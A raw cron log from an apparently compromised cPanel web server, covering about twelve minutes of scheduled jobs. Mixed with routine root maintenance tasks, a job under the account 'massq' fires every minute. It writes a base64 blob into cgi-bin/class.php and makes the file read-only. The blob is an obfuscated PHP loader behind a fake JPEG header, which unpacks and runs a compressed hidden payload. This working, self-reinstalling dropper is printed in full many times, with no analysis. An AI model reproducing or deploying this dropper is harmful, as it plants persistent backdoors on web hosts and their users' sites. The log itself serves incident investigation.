Sep 10 15:22:01 server CROND[27310]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:22:01 server CROND[27311]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:22:01 server CROND[27313]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:23:01 server CROND[27781]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:23:01 server CROND[27782]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:23:01 server CROND[27783]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:24:01 server CROND[28144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:24:01 server CROND[28145]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:24:01 server CROND[28146]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:25:01 server CROND[28524]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 15:25:01 server CROND[28527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:25:01 server CROND[28528]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 15:25:01 server CROND[28530]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 15:25:01 server CROND[28529]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:25:01 server CROND[28532]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 15:25:01 server CROND[28531]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:26:02 server CROND[29342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:26:02 server CROND[29343]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:26:02 server CROND[29341]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:27:01 server CROND[29712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:27:01 server CROND[29713]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:27:01 server CROND[29714]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 15:27:01 server CROND[29715]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:28:01 server CROND[30094]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:28:01 server CROND[30095]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:28:01 server CROND[30096]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:29:01 server CROND[30559]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:29:01 server CROND[30560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:29:01 server CROND[30561]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:30:01 server CROND[30935]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 15:30:01 server CROND[30936]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 15:30:01 server CROND[30939]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:30:01 server CROND[30938]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 15:30:01 server CROND[30945]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 15:30:01 server CROND[30943]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 15:30:01 server CROND[30942]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:30:01 server CROND[30940]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:31:01 server CROND[31758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:31:01 server CROND[31759]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:31:01 server CROND[31760]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:32:01 server CROND[32131]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:32:01 server CROND[32132]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:32:01 server CROND[32133]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:33:01 server CROND[32518]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 15:33:01 server CROND[32519]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:33:01 server CROND[32520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:34:01 server CROND[528]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:34:01 server CROND[529]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
